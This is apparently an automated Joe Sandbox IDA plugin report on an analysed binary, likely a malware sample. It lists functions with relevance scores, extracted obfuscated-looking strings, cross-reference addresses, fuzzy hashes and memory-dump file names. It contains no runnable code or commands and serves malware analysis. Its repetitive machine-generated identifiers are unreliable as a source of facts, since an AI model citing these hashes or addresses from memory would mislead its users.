Instruction ID: 405179297a7f5e2aa15d697b725542e25cc487b3835b5fa8c8d95d7b35bc2fc6
Opcode Fuzzy Hash: 0a1627728179718f9cd8b468c5cbfd9451bd9d7d1a6ce1b81746a5da596b05bb
Instruction Fuzzy Hash: 5C33DE70204B918BD7218F39D590763BBF1BF56304F98499EE4D68BB82C739E806CB65

Function 0040DB6F Relevance: 32.0, Strings: 24, Instructions: 2006COMMON

Download Yara Rule

Strings

AR, xrefs: 0040DD10
T, xrefs: 0040F157
<=:;, xrefs: 0040E930
|, xrefs: 0040ECB1
()./, xrefs: 0040E9CA
@ONM, xrefs: 0040E6DB
89>?, xrefs: 0040E9F6
%*+(, xrefs: 0040DE37, 0040DE46
QNOL, xrefs: 0040E775
D, xrefs: 0040E846
`onm, xrefs: 0040E733
tuJK, xrefs: 0040E967
lkji, xrefs: 0040E73E
:WUE, xrefs: 0040F6B7, 0040F6C6
mjkh, xrefs: 0040E7D8
tsrq, xrefs: 0040E6FC
`Y^_, xrefs: 0040E99E
LKJI, xrefs: 0040E6E6
xgfe, xrefs: 0040E71D
DCBA, xrefs: 0040E887, 0040E896
WP, xrefs: 0040DCEF
89&', xrefs: 0040E93B
dcba, xrefs: 0040E728
<=2, xrefs: 0040EA01

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID: InitializeThunk
String ID: %*+($()./$89&'$89>?$:WUE$<=2$<=:;$@ONM$AR$D$DCBA$LKJI$QNOL$T$WP$`Y^_$`onm$dcba$lkji$mjkh$tsrq$tuJK$xgfe$|
API String ID: 2994545307-1418943773
Opcode ID: ef2d95a3c69fbd33a0165baa6a5b4c8327760dac8ccb4971085add69204be7fa
Instruction ID: 603c1eb5d0708fa7cf997c5630d779b08899166a5da6a420eed03a60ce734eb9
Opcode Fuzzy Hash: ef2d95a3c69fbd33a0165baa6a5b4c8327760dac8ccb4971085add69204be7fa
Instruction Fuzzy Hash: 54F28AB05083819BD770CF15C884BABBBE1BFD5304F144C2EE4C99B292D7399999CB96

Function 00419F62 Relevance: 21.7, Strings: 17, Instructions: 473COMMON

Download Yara Rule

Strings

/), xrefs: 0041A66D
sm, xrefs: 0041A830
?m,o, xrefs: 0041A13C
WH, xrefs: 0041AA1C
N[, xrefs: 0041A375
%e6g, xrefs: 0041A152
JG, xrefs: 0041AA27
]{, xrefs: 0041A1E7, 0041A1F3
_Y, xrefs: 0041A641
hi, xrefs: 0041AB9D
=], xrefs: 0041A36A
(a*c, xrefs: 0041A147
WQ, xrefs: 0041A62B
Gt, xrefs: 00419FF8
kW, xrefs: 0041A380
CG, xrefs: 0041AA32
S], xrefs: 0041A636

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: %e6g$(a*c$=]$?m,o$CG$Gt$JG$N[$WH$]{$hi$kW$/)$S]$WQ$_Y$sm
API String ID: 0-1131134755
Opcode ID: b6e5b244f1c7309c16b68bcf0f757e02463d3da60e01c03c10d5e31297267c56
Instruction ID: c6130cf593262c5134abae196fb197af511adadc7cb08b73e059b46f49c47747
Opcode Fuzzy Hash: b6e5b244f1c7309c16b68bcf0f757e02463d3da60e01c03c10d5e31297267c56
Instruction Fuzzy Hash: A152C7B804D385CAE230CF25D581B8EBAF1BB92740F608A1EE1ED5B255DB748085CF97

Function 00419510 Relevance: 20.4, Strings: 16, Instructions: 427COMMON

Download Yara Rule

Strings

L3Y=, xrefs: 00419B03
,A&C, xrefs: 0041982E
T#a-, xrefs: 00419AE3
z=Q?, xrefs: 00419826
B?Q9, xrefs: 00419B0B
!E4G, xrefs: 00419836
8;, xrefs: 00419B13
2A"_, xrefs: 00419980
G+X5, xrefs: 00419AF3
X/R), xrefs: 00419AEB
;IJK, xrefs: 0041983E
O+f), xrefs: 00419634, 0041963D
B7U1, xrefs: 00419AFB
pq, xrefs: 004199E0
G'M!, xrefs: 00419ADB
?M0K, xrefs: 00419968

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: !E4G$,A&C$2A"_$8;$;IJK$?M0K$B7U1$B?Q9$G'M!$G+X5$L3Y=$O+f)$T#a-$X/R)$pq$z=Q?
API String ID: 0-655414846
Opcode ID: db7a033964a49ecb8dccf9746fc88d00b46c601e1e770525850203c548689519
Instruction ID: 9f03c57a5d47abc839588415399803ef29345b6c537316706576df7fa5007f6f
Opcode Fuzzy Hash: db7a033964a49ecb8dccf9746fc88d00b46c601e1e770525850203c548689519
Instruction Fuzzy Hash: 65F14FB4108380ABD310DF15D890A6BBBF4FB8AB48F044D1DF5D59B252D378D948CBAA

Function 0041DD29 Relevance: 18.6, Strings: 14, Instructions: 1142COMMON

Download Yara Rule

Strings

)IgK, xrefs: 0041E261
A, xrefs: 0041E9C5
upH}, xrefs: 0041DE8A, 0041E798, 0041DF4A
<Y.[, xrefs: 0041E27D
{E, xrefs: 0041E323
n\+H, xrefs: 0041DDC0
Y9N;, xrefs: 0041E245
hX]N, xrefs: 0041DDC7
rA, xrefs: 0041E92E
=]+_, xrefs: 0041E276
%*+(, xrefs: 0041E143
,Q?S, xrefs: 0041E26F
A, xrefs: 0041E403, 0041E664, 0041E7BD
-M2O, xrefs: 0041E25A

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: A$%*+($)IgK$,Q?S$-M2O$<Y.[$=]+_$Y9N;$hX]N$n\+H$rA$upH}${E$A
API String ID: 0-836097396
Opcode ID: 780a75c610512e1c00ee623fa150f2f6220d7cdd52d286065ee9e0c33d8e3842
Instruction ID: 54757cdba27ad45ca541228f6dce1659266aca70f95533c129a90cb66eacaa22
Opcode Fuzzy Hash: 780a75c610512e1c00ee623fa150f2f6220d7cdd52d286065ee9e0c33d8e3842
Instruction Fuzzy Hash: EE921575E00215CFDB04CF69D8417AEBBB2FF4A310F298169E816AB3A1D735AD41CB94

Function 0041098B Relevance: 10.8, Strings: 8, Instructions: 836COMMON

Download Yara Rule

Strings

9.5^, xrefs: 00410F9F
,#15, xrefs: 00410F94
qrqp, xrefs: 00411089
gce/, xrefs: 00411073
&> &, xrefs: 00410F89
cah`, xrefs: 0041107E
%*+(, xrefs: 00410A77, 00410A86
{, xrefs: 00411502

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: %*+($&> &$,#15$9.5^$cah`$gce/$qrqp${
API String ID: 0-4102007303
Opcode ID: 630b233a7fddcb991cb948b44c20371cc567fd67608407b0d64367b17bc7ea47
Instruction ID: a20d8a4044c223dacc2765009a2280ae13758d7065726667636a8669d0989694
Opcode Fuzzy Hash: 630b233a7fddcb991cb948b44c20371cc567fd67608407b0d64367b17bc7ea47
Instruction Fuzzy Hash: DB62CBB56083818BD730CF14D891BABBBE1FF96314F04492EE59A8B751E3799880CB57

Function 003F1000 Relevance: 10.5, Strings: 7, Instructions: 1785COMMON

Download Yara Rule

Strings

-, xrefs: 003F21ED
gfff, xrefs: 003F2297
gfff, xrefs: 003F2226
0123456789abcdefxp, xrefs: 003F1587, 003F15F8
gfff, xrefs: 003F22E1
0123456789ABCDEFXP, xrefs: 003F157D, 003F15EB
@, xrefs: 003F2C40

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$@$gfff$gfff$gfff
API String ID: 0-2517803157
Opcode ID: 2118ac0bbdfe7e985c203db021fb55e6a8422896e409ded0d13020e5983852ad
Instruction ID: bb5319dbb74d03f28e2565f29955355583555c77c8168f6d1db0e8b9587701fc
Opcode Fuzzy Hash: 2118ac0bbdfe7e985c203db021fb55e6a8422896e409ded0d13020e5983852ad
Instruction Fuzzy Hash: 38D2F2716083458FC71ACE28C49037ABBE2AFD9314F198A2DE699CB391D774DD45CB82

Function 005B6514 Relevance: 7.9, Strings: 5, Instructions: 1620COMMON

Download Yara Rule

Strings

zP~z, xrefs: 005B6DC5
W1~z, xrefs: 005B6DFA
.%1, xrefs: 005B715B
pdZK, xrefs: 005B70B7
ju4, xrefs: 005B6E66

Memory Dump Source

Source File: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: .%1$W1~z$ju4$pdZK$zP~z
API String ID: 0-3575694155
Opcode ID: ce94a271566624a6854bef767d15e9370203398a2fa9f861abf39fa4fe5eef19
Instruction ID: 7583c7ff5e99b5fc1dae0b519459d330f5d55c9adbe35fdd3b407d17bca31c47
Opcode Fuzzy Hash: ce94a271566624a6854bef767d15e9370203398a2fa9f861abf39fa4fe5eef19
Instruction Fuzzy Hash: 84B206F36082049FE304AE2DDC8577ABBE5EFD4720F1A893DE6C4C7744EA3598058696

Function 005C0572 Relevance: 7.9, Strings: 5, Instructions: 1613COMMON

Download Yara Rule

Strings

.vy, xrefs: 005C1698
rs, xrefs: 005C0FAE
q7o, xrefs: 005C0B2E
m{b/, xrefs: 005C1224
v>, xrefs: 005C16ED

Memory Dump Source

Source File: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: .vy$m{b/$rs$v>$q7o
API String ID: 0-1356770988
Opcode ID: a08ae4ce616d103bcfa17bca854a9df2f70b021cb88f80248b0b7b0b6324c382
Instruction ID: 63b0c3978cf1d235b3d0126d59e150c2429639fb3461889ab76d1407f307c7d7
Opcode Fuzzy Hash: a08ae4ce616d103bcfa17bca854a9df2f70b021cb88f80248b0b7b0b6324c382
Instruction Fuzzy Hash: 7BB2F5F3A082109FE3046E2DEC8567AFBE5EF94720F1A493DEAC4C7744EA3558018697

Function 005AC4F4 Relevance: 7.8, Strings: 5, Instructions: 1546COMMON

Download Yara Rule

Strings

ARwi, xrefs: 005ACC9E
`,O, xrefs: 005AD238
PNqn, xrefs: 005AD7DF
JC|, xrefs: 005ACD7D
*"vr, xrefs: 005AD170

Memory Dump Source

Source File: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: *"vr$ARwi$JC|$PNqn$`,O
API String ID: 0-4239151392
Opcode ID: 3b0fb34a9321d8c3c42453bdf9a0c27ef990460a93379659bc9cd24bcf523c7e
Instruction ID: bac05a56494d1371a27be465dda34453802dc8d0061df8298f85195106e5750b
Opcode Fuzzy Hash: 3b0fb34a9321d8c3c42453bdf9a0c27ef990460a93379659bc9cd24bcf523c7e
Instruction Fuzzy Hash: 3DB207F3A0C200AFE7046E2DEC8567AFBE9EF94720F1A492DE6C4C7344E67558418697

Function 003F12F7 Relevance: 7.2, Strings: 5, Instructions: 922COMMON

Download Yara Rule

Strings

0, xrefs: 003F1E88
0, xrefs: 003F243E
0, xrefs: 003F1DC1
i, xrefs: 003F28EA
@, xrefs: 003F3531

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: 0$0$0$@$i
API String ID: 0-3124195287
Opcode ID: 62f37a319320d86c5745a04560d6b0fd8bd1eb9b226de48ab30e4394ab5e1912
Instruction ID: 27b538f33304b28a555c5bb3bd8cbbf54add50274c7f98a9c6320cd3ba9771eb
Opcode Fuzzy Hash: 62f37a319320d86c5745a04560d6b0fd8bd1eb9b226de48ab30e4394ab5e1912
Instruction Fuzzy Hash: 0C62B07160C386CBC31ACE28C49077BBBE1ABD5344F198A2DE9D987291D774D949CB82

Function 003F164F Relevance: 6.7, Strings: 5, Instructions: 472COMMON

Download Yara Rule

Strings

gfff, xrefs: 003F1F57
0123456789abcdefxp, xrefs: 003F1659
+, xrefs: 003F1573
0123456789ABCDEFXP, xrefs: 003F164F
gfff, xrefs: 003F1F3C

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: +$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-1123320326
Opcode ID: 17c51835f413b66d379d1c66029608f9502ef8d33c9167a741fc599d29f5a3c8
Instruction ID: eb3975ed9b4a705d3d65c16c79efc2aaa4e69a3ea70039f9ee12bcd08bed8c1e
Opcode Fuzzy Hash: 17c51835f413b66d379d1c66029608f9502ef8d33c9167a741fc599d29f5a3c8
Instruction Fuzzy Hash: 1DF1C13160C3858FC71ACE29C48426BFBE2AFD9304F198A6DE5D987352D774D948CB92

Function 005AA949 Relevance: 6.6, Strings: 4, Instructions: 1641COMMON

Download Yara Rule

Strings

4_, xrefs: 005AB1EE
rf:, xrefs: 005AB6E6
N}>, xrefs: 005AAFBF
?vz, xrefs: 005AAA54

Memory Dump Source

Source File: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: 4_$?vz$rf:$N}>
API String ID: 0-3063610063
Opcode ID: 1c506be0e1bdabf522c65b8a492ad72a42c143bc4dd1eab262ddd6ceef6fa72e
Instruction ID: 2610cfc97e47f853415e38611fc9f256ffebe47d4bc78de6397690bced18cb41
Opcode Fuzzy Hash: 1c506be0e1bdabf522c65b8a492ad72a42c143bc4dd1eab262ddd6ceef6fa72e
Instruction Fuzzy Hash: 21B2F6F360C2049FE304AE2DDC8567AB7EAEFD4720F1A893DE6C5C7744E63598018696

Function 003F13A3 Relevance: 6.6, Strings: 5, Instructions: 390COMMON

Download Yara Rule

Strings

gfff, xrefs: 003F1F57
-, xrefs: 003F1F23
0123456789abcdefxp, xrefs: 003F13AD
0123456789ABCDEFXP, xrefs: 003F13A3
gfff, xrefs: 003F1F3C

Memory Dump Source

Source File: 00000000.00000002.2217302661.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000005CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006B7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217365559.00000000006FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217686120.00000000006FE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217843114.000000000089A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2217864930.000000000089B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f0000_file.jbxd

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$gfff$gfff
API String ID: 0-3620105454
Opcode ID: f71f4add3d2aedce12ccbaef78ae3a1ae9ebf0deb06742fb72abae86b1966d11
Instruction ID: 0d1ec8c41dfa295eab0ae79580072071cd367d5bb3cff6a1fff49a8fae36027f
Opcode Fuzzy Hash: f71f4add3d2aedce12ccbaef78ae3a1ae9ebf0deb06742fb72abae86b1966d11
Instruction Fuzzy Hash: FAD1AF3160C7858FC71ACE29C48026AFBE2AFD9304F09CA6DE5D987356D734D949CB52

Function 005AF913 Relevance: 6.6, Strings: 4, Instructions: 1594COMMON

Download Yara Rule

Strings

[E#, xrefs: 005B010E
;g_N, xrefs: 005B0648
4J9, xrefs: 005B064D
hYy, xrefs: 005B0CD5

Memory Dump Source

Source File: 00000000.00000002.2217365559.0000000000450000.00000040.00000001.01000000.00000003.sdmp, Offset: 003F0000, based on PE: true

Associated: 00000000.00000002.2217261926.00000000003F0000.00000004.00000001.01000000.00000003.sdmpDownload File
